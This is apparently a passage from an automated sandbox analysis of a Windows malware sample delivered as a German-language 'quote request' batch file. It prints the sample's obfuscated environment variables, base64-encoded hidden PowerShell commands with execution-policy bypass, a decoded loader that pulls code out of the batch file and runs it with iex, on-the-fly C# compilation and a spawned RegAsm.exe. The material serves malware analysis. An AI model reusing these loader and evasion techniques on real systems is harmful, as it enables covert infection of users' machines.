╧╫╘┼▄═╪, SystemDrive, ╬┬╔╬╘╤, _vmT51, _vmT52, USERNAME, ProgramFiles(x86), PATHEXT, █╥╥╠▌, _eXoUdj, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, ╦┼╘╠┘, ╧┘┘┬┌, ╓└┬┌╟╙, ▐╟┬├┬╥┬─, _K8RE, _EphemeralScript, ┴╔╦█╧╫, PROMPT, ═╥╞├█╠╫, _RgWsBs, APPDATA, Path, ▀╩┼┘┴╥╞┼, ╓╬╘┬╙, ╦╨╬╦╞╚, ╧├╘╚╦╒╠, ─╚╫═█┌╙╔, ╔▀╬╥╫▄╧╩╥, ▌═╚╦╫╟╩╔, ▐┌┬╙╠▌╙┬, _hR7nokz, PROCESSOR_LEVEL, ╔─┼┌╚└└╚, PROCESSOR_ARCHITECTURE, ═╫╫╩▐, USERDNSDOMAIN, CURL_CA_BUNDLE, ▌╓╨█╫└┼▀, ┴╠▄╠▄┴╟╓╩, ▀╘╠╨┘╤█, ╠╚╞╬╦╘╫╨╔, ┴╚╒╙╧╘╬▄, USERDOMAIN, LOGONSERVER, ╘█▄┴╘╚╚┌, ┼╚╬╧▄╘╒┴▌╪─, ╒╘╠▐╒├╒┬, ▐▌╙╓█╤, ▌╧╘═┘╒, CommonProgramFiles, ██╫└╓, PSExecutionPolicyPreference, SystemRoot, _psRun, TMP, CommonProgramFiles(x86), ┌╦┴├╬┌╨┌┬, ╞█╫╔╞╞╩╔╞, _xkn8YT, ┴▄┘╘╥╥╧╨, SSLKEYLOGFILE, ██▐╞╫╘╒╦╨, SESSIONNAME, ALLUSERSPROFILE, ┬▄╔╧╫, ╥╟╙├├▐╧╠╔, ╤┘─╘┬═┴┼▐, ▌═▀▀┘╙, ▄╔╨╟▀, PUBLIC, ▄├╙═╦╬, ╫╦╒┘█╦▌, OneDrive, ╤╪┘▐└╚, ┼╓╒┬┘╪╞▐╞┴╔, COMPUTERNAME, █┴╫╥╒╤╟╥, ComSpec, _scriptOrigin, ╪╒╞╘▀╔╪╞, ╤╥═┬▀, HOMEDRIVE, NUMBER_OF_PROCESSORS, USERDOMAIN_ROAMINGPROFILE, ╒╪╚▀╟└╦, ┌╦╚▀╧┘▀┬, PSModulePath, ─▐└╩╞, ╞╦╘╫╒├╟, ┘╩╞├╚╫╔, ╨└╦╦╠┴, ├╫╟┴┴┼▌╦, ProgramData, ProgramW6432, ═╔╥▌╠┴, ▌╓▐┼╧╔┬─, └╠└╞▀╙╨╚, LOCALAPPDATA, ▀▌╩╩╘▐═, ▀╟█╟┬╨┼┴╚╚┬, ▐─▀┘╪, ╤╔╘├├╤╪╚┼, OS, ▀▌╘╪╞╚╬, ▄▀╤╦█▄, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ╘└▄╔╨┌╟▌▀─, ╧┘█┬▄─┌╥╫╙, TEMP, USERPROFILE, ┌╨╧├╧╦╪, ┬╚╬▌▌╫" Process "RegAsm.exe" (UID: 00000000-00007828) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", ╪▐┘┬╪╬╠├╔="JABxAD0AWwBjAGgAYQByAF0AMwA0ADsAJABhAD0AJwAvAGMAIAAnACsAJABxACsAJABlAG4AdgA6AF8AUgBnAFcAcwBCAHMAKwAkAHEAKwAnACAAOABjAGUAMABlADAAMwA2ADIAZQAnADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAG4AdgA6AEMAbwBtAFMAcABlAGMAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAEUATgA=", ╧╫╘┼▄═╪="~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", SystemDrive="C:", ╬┬╔╬╘╤="~1 1", _vmT51="5303335", _vmT52="66", USERNAME="%OSUSER%", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", █╥╥╠▌="Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", _eXoUdj="srQIAMO2s", HOMEPATH="\Users\%OSUSER%", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="C:\Program Files", ╦┼╘╠┘="2898", ╧┘┘┬┌="QtgOI?#.~/6VUD-qKkSb5fp3TYP8JN+mMjwyZh7zuXB:G4W9c*lCF@E_2R0dLaHsAxinvroE_2R0dLaHsAxinvroQtgOI?#.~/6VUD-qKkSb5fp3TYP8JN+mMjwyZh7zuXB:G4W9c*lCF@", ╓└┬┌╟╙="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ▐╟┬├┬╥┬─="tem32", _K8RE="goa@ba6~DbM.x+Y-lVzS", _EphemeralScript="%PUBLIC%\28750q24813.ps1", ┴╔╦█╧╫="6897", PROMPT="$P$G", ═╥╞├█╠╫="8ce0e", _RgWsBs="C:\Angebotsanfrage_11-Aug-2026.bat", APPDATA="%USERPROFILE%\AppData\Roaming", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", ▀╩┼┘┴╥╞┼="cgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4uDGmvK5YuDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", ╓╬╘┬╙="I-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHShYznJFYznJFI-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHSh", ╦╨╬╦╞╚="Zi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", ╧├╘╚╦╒╠="-e", ─╚╫═█┌╙╔="be", ╔▀╬╥╫▄╧╩╥="sh", ▌═╚╦╫╟╩╔="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ▐┌┬╙╠▌╙┬="0bHr5Dq7?zm#TpB1L*/x8W~FyM2Ged_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", _hR7nokz="TT7rRSdZu2wq", PROCESSOR_LEVEL="6", ╔─┼┌╚└└╚="5", PROCESSOR_ARCHITECTURE="AMD64", ═╫╫╩▐="lunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", USERDNSDOMAIN="DESKTOP-FVVF82A", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", ▌╓╨█╫└┼▀="Sys", ┴╠▄╠▄┴╟╓╩="8ce0e0362e", ▀╘╠╨┘╤█="71", ╠╚╞╬╦╘╫╨╔="831", ┴╚╒╙╧╘╬▄="-W hIDDEn -NoNI -noP", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", ╘█▄┴╘╚╚┌="%WINDIR%\System32\cmd.exe", ┼╚╬╧▄╘╒┴▌╪─="507", ╒╘╠▐╒├╒┬="24623", ▐▌╙╓█╤="y45@c*HGp~ji9EUln7_Fzr#t/8Qa+k?BJqYKmdVLg3xbevT1Z:o2-PfCS0MuwhXD.OREUln7_Fzr#t/8Qa+k?BJqYKmdVLg3xbevT1Z:o2-PfCS0MuwhXD.ORy45@c*HGp~ji9", ▌╧╘═┘╒="ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", CommonProgramFiles="%PROGRAMFILES%\Common Files", ██╫└╓="powershell", PSExecutionPolicyPreference="Bypass", SystemRoot="C:\WINDOWS", _psRun="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ┌╦┴├╬┌╨┌┬="G8", ╞█╫╔╞╞╩╔╞="xCvq1m4*D5~6a3bow#rEipePhQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7Ad", _xkn8YT="HvmVWs8c", ┴▄┘╘╥╥╧╨="┘╔┬▐▄├▀╫╥╙╫▀▄┬╨", SSLKEYLOGFILE="%TEMP%\sslkey.txt", ██▐╞╫╘╒╦╨="/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*iS_OygPtHWR~73FsKNdwxbc0U+Xl9iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", ┬▄╔╧╫="\cmd.exe", ╥╟╙├├▐╧╠╔="/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*iS_OygPtHWR~73FsKNdwxbc0U+Xl9iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", ╤┘─╘┬═┴┼▐="power", ▌═▀▀┘╙="ell", ▄╔╨╟▀="u~B.RDPTj/7wbEF-#3ZtNk*SdQnoOi?Gzg18lA_Lr0@I:J6mxeyHVU59qvcM+hWfaC4Tj/7wbEF-#3ZtNk*SdQnoOi?Gzg18lA_Lr0@I:J6mxeyHVU59qvcM+hWfaC4u~B.RDP", PUBLIC="C:\Users\Public", ▄├╙═╦╬="uZ", ╫╦╒┘█╦▌="f5cvwaj@6pJZi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyZi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyf5cvwaj@6pJ", OneDrive="%USERPROFILE%\OneDrive", ╤╪┘▐└╚="uDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", ┼╓╒┬┘╪╞▐╞┴╔="Vw", COMPUTERNAME="DESKTOP-FVVF82A", █┴╫╥╒╤╟╥="hQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7AdxCvq1m4*D5~6a3bow#rEipePxCvq1m4*D5~6a3bow#rEipePhQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7Ad", ComSpec="%WINDIR%\system32\cmd.exe", _scriptOrigin="%TEMP%\frnxne3f.vzc\npm4ol10jde.cmd", ╪╒╞╘▀╔╪╞="Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#", ╤╥═┬▀="iS_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", HOMEDRIVE="C:", NUMBER_OF_PROCESSORS="8", USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", ╒╪╚▀╟└╦="32", ┌╦╚▀╧┘▀┬="YznJFI-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHSh", PSModulePath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", ─▐└╩╞="KZA/IPShzl6:y4X#?78EiCm90xG+~1tW@-H*j2gnDN3BkFbpd.ue_JwLcYsOqaMUo5RfrvTJwLcYsOqaMUo5RfrvTKZA/IPShzl6:y4X#?78EiCm90xG+~1tW@-H*j2gnDN3BkFbpd.ue_", ╞╦╘╫╒├╟="+oYX-7PwWh_1EGum~52BnNyCa.J@HUMK*kTf4IVijQA3tzZx9RSD/#0qdlc?rFLgvse6b:pOEGum~52BnNyCa.J@HUMK*kTf4IVijQA3tzZx9RSD/#0qdlc?rFLgvse6b:pO+oYX-7PwWh_1", ┘╩╞├╚╫╔="╠╨╪╨├▀╞╔╧╩▄█╨╥╓╙─╧┴┘╓█┌─╘▌╠╩▀╨┴┌", ╨└╦╦╠┴="43565", ├╫╟┴┴┼▌╦="0362e", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", ═╔╥▌╠┴="21121502", ▌╓▐┼╧╔┬─="Ja@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G", └╠└╞▀╙╨╚="_OygPtHWR~73FsKNdwxbc0U+Xl9/.mB-u5MhVzAovYJ8aEj6D:Z@L?CnGf4Ik2ep*", LOCALAPPDATA="%USERPROFILE%\AppData\Local", ▀▌╩╩╘▐═="317", ▀╟█╟┬╨┼┴╚╚┬="╪╦╫╨└┘┬╓╨╓╙╟┘", ▐─▀┘╪="-EP BYPaSS", ╤╔╘├├╤╪╚┼="JABzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBfAFIAZwBXAHMAQgBzACkAOwAkAG0AawA9ACQAZQBuAHYAOgBfAEsAOABSAEUAOwAkAGEAPQAkAG0AawAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsADEAMAApADsAJABpAD0AJABzAC4ASQBuAGQAZQB4AE8AZgAoACQAYQApADsAaQBmACgAJABpACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwAkAGMAPQAkAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQArADEAMAApADsAJABiAD0AJABtAGsALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEAMAApADsAJABqAD0AJABjAC4ASQBuAGQAZQB4AE8AZgAoACQAYgApADsAaQBmACgAJABqACAALQBsAHQAIAAwACkAewBlAHgAaQB0AH0AOwBpAGUAeAAoACQAYwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACQAagApACkA", OS="Windows_NT", ▀▌╘╪╞╚╬="uDGmvK5YcgFpjdfny_xUQ+S2AP0kbXZI3N-/RT.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4", ▄▀╤╦█▄="1650", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ╘└▄╔╨┌╟▌▀─="~1 1", ╧┘█┬▄─┌╥╫╙="Y#", TEMP="%LOCALAPPDATA%\Temp", USERPROFILE="C:\Users\%OSUSER%", ┌╨╧├╧╦╪="┌┼╟╞└═╪┘├▀╘▀╔╒╓╞▄▐", ┬╚╬▌▌╫="0bHr5Dq7?zm#TpB1L*/x8W~FyM2Ged_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G"" Process "RegAsm.exe" (UID: 00000000-00007828) was launched with missing environment variables: "-¦_¦_-¦+-, -¦+-¦, +--+--+, ++-+¦+, path, comspec, ¦¦-+----, ¦-¯¯++, -+¦-_-+-++, ¦¦++¦-, -++-+, -++¦++, ++¦+¯++¦, programfiles, +--+++-+-, -++++-+++, _vmt51, _vmt52, ¦¦++¦¦-+¦, _hr7nokz, logonserver, ++_+-+¦¦¯-, ¦-+-+¦-+, +-++¦-¦, _ephemeralscript, programdata, ¦+¦+-+--, programfiles(x86), psmodulepath, +++¯¦+-, systemdrive, -++-¦+++, commonprogramfiles, homedrive, homepath, sessionname, +++-_++-¦+-, _++--+, curl_ca_bundle, ¯¦++¦++, userdnsdomain, -++¦¦+, -+++-+¦, processor_identifier, +-+++-, _scriptorigin, _psrun, _rgwsbs, ¦-+-++, +-¦++++, ¦-+-+-¦-, _xkn8yt, prompt, username, +¦+¦¯+-+, computername, pathext, tmp, ++¦¦+++-, ¯-++--¦+, --¦+¦¦+, +-++++++, -¦+++¦-¦+, +-+¯-+¯-, -+++-++_, sslkeylogfile, userprofile, -_++----, -+-¦-+, processor_level, userdomain_roamingprofile, commonprogramfiles(x86), ¦--¦¦, processor_architecture, nvm_symlink, ¦¦¦¦+++--, -_+-+, ¦+-+¦¦+-, ¦¦+++, nvm_home, ¦-++++¦, onedrive, -+-¦¦-, programw6432, psexecutionpolicypreference, ¦-¯++, _k8re, processor_revision, _¯--¦_, +¯+-+_---, --+-¦+, +¦+-++¦++, localappdata, _exoudj, -++-¦, ¯¦--+¦-, number_of_processors, -+-+---+¦, -+++_-+, -+--¦-, _+-¦¯, ¦+¦+-++-+, systemroot, +¦_-++++, userdomain, commonprogramw6432, allusersprofile, ¦+-¦+++¯, public, ¯¦¦¦--+-++-, +++-+, -++¦+, ++¦--+¦-, ----¯, temp, os, +++-++¦¦¦-+, ¯+¦-+-¦, _clrrestrictsecattributes, appdata"4e:T13d8,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\nlyjs020\nlyjs020.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\nlyjs020\nlyjs020.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: nlyjs020.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\nlyjs020\nlyjs020.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\nlyjs020\nlyjs020.0.cs"" [Source: nlyjs020.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006840-00000C2E-694003088] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006840-00000C2B-1095040075] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006840-00000C2B-1095130352] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006840-00000C2B-1095212641] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00006840-00000C2B-1095338487] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006840-00000C2B-1095391071] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006840-00000C2B-1095439191] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006840-00000C2B-1095494899] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00006840-00000C2B-1095562422] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00006840-00000C2B-1095601601] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006840-00000C2B-1095671447] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006840-00000C2B-1095888551] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006840-00000C2B-1095992740] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006840-00000C2B-1096179481] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006840-00000C2B-1096335849] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006840-00000C2B-1096617636] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006840-00000C2B-1096632350] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006840-00000C2B-1096675645] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006840-00000C2B-1096717191] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006840-00000C2B-1096778266] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006840-00000C2B-1096840415] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00006840-00000C2B-1097027712] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006840-00000C2B-1097165517]4f:T831,Spawned process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABxAD0AWwBjAGgA ..." (UID: 00000000-00006840, Additional Context: "$q=[char]34;$a='/c '+$q+$env:_RgWsBs+$q+' 8ce0e0362e';Start-Process -FilePath $env:ComSpec -ArgumentList $a -WindowStyle HiddEN"), Spawned process "cmd.exe" with commandline "/c "C:\\Angebotsanfrage_11-Aug-2026.bat" 8ce0e0362e" (UID: 00000000-00007156), Spawned process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABzAD0AWwBJAE8A ..." (UID: 00000000-00003236, Additional Context: "$s=[IO.File]::ReadAllText($env:_RgWsBs);$mk=$env:_K8RE;$a=$mk.Substring(0,10);$i=$s.IndexOf($a);if($i -lt 0){exit};$c=$s.Substring($i+10);$b=$mk.Substring(10);$j=$c.IndexOf($b);if($j -lt 0){exit};iex($c.Substring(0,$j))"), Spawned process "cmd.exe" with commandline "/c "%TEMP%\\frnxne3f.vzc\\npm4ol10jde.cmd" 1dtoE2WDXh9" (UID: 00000000-00004252), Spawned process "powershell.exe" with commandline "-w 1 -nop -ep bypass -c "$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type] ..." (UID: 00000000-00002148, Additional Context: "if($f::Exists($e)){$s=$f::ReadAllText($e)if($s.IndexOf(::CodeNotion::) -ge 0){('System.IO.File') -as[type]::WriteAllText($env:_EphemeralScript,$s.Substring($s.IndexOf(::CodeNotion::)+(0xC -shr )))}};"), Spawned process "powershell.exe" with commandline "-w 1 -nop -ep bypass -f "%PUBLIC%\\28750q24813.ps1"" (UID: 00000000-00002684), Spawned process "PING.EXE" with commandline "ping -n 8 127.0.0.1" (UID: 00000000-00005512), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\nlyjs020\\nlyjs020.cmdline"" (UID: 00000000-00007384), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESA1C2.tmp" "%TEM ..." (UID: 00000000-00007544) Spawned process "RegAsm.exe" (UID: 00000000-00007828) Spawned process "wmic.exe" with commandline ""wmic" process where ProcessId=2684 get CommandLine /value" (UID: 00000000-00002940) Spawned process "chrome.exe" (UID: 00000000-00007940) Spawned process "msedge.exe" (UID: 00000000-00000864)50:T831,Spawned process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABxAD0AWwBjAGgA ..." (UID: 00000000-00006840, Additional Context: "$q=[char]34;$a='/c '+$q+$env:_RgWsBs+$q+' 8ce0e0362e';Start-Process -FilePath $env:ComSpec -ArgumentList $a -WindowStyle HiddEN"), Spawned process "cmd.exe" with commandline "/c "C:\\Angebotsanfrage_11-Aug-2026.bat" 8ce0e0362e" (UID: 00000000-00007156), Spawned process "powershell.exe" with commandline "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABzAD0AWwBJAE8A ..." (UID: 00000000-00003236, Additional Context: "$s=[IO.File]::ReadAllText($env:_RgWsBs);$mk=$env:_K8RE;$a=$mk.Substring(0,10);$i=$s.IndexOf($a);if($i -lt 0){exit};$c=$s.Substring($i+10);$b=$mk.Substring(10);$j=$c.IndexOf($b);if($j -lt 0){exit};iex($c.Substring(0,$j))"), Spawned process "cmd.exe" with commandline "/c "%TEMP%\\frnxne3f.vzc\\npm4ol10jde.cmd" 1dtoE2WDXh9" (UID: 00000000-00004252), Spawned process "powershell.exe" with commandline "-w 1 -nop -ep bypass -c "$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type] ..." (UID: 00000000-00002148, Additional Context: "if($f::Exists($e)){$s=$f::ReadAllText($e)if($s.IndexOf(::CodeNotion::) -ge 0){('System.IO.File') -as[type]::WriteAllText($env:_EphemeralScript,$s.Substring($s.IndexOf(::CodeNotion::)+(0xC -shr )))}};"), Spawned process "powershell.exe" with commandline "-w 1 -nop -ep bypass -f "%PUBLIC%\\28750q24813.ps1"" (UID: 00000000-00002684), Spawned process "PING.EXE" with commandline "ping -n 8 127.0.0.1" (UID: 00000000-00005512), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\nlyjs020\\nlyjs020.cmdline"" (UID: 00000000-00007384), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESA1C2.tmp" "%TEM ..." (UID: 00000000-00007544) Spawned process "RegAsm.exe" (UID: 00000000-00007828) Spawned process "wmic.exe" with commandline ""wmic" process where ProcessId=2684 get CommandLine /value" (UID: 00000000-00002940) Spawned process "chrome.exe" (UID: 00000000-00007940) Spawned process "msedge.exe" (UID: 00000000-00000864)51:T63a,"powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_e3rmaazc.jzz.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_x5ziyr1o.tt1.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_aw4klctl.yki.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_eojribll.0wk.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\frnxne3f.vzc\naisjwyh.hxp" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\frnxne3f.vzc\euck1s2w.25u" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\frnxne3f.vzc\4xim0g4s.myp" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\frnxne3f.vzc\npm4ol10jde.cmd" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_sz32ovfz.xu2.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_pb21apgp.zjb.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_fv3y0zjn.hnn.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ywwfzll5.3nq.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\nlyjs020\nlyjs020.0.cs" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\nlyjs020\nlyjs020.cmdline" "powershell.exe" writes to a file 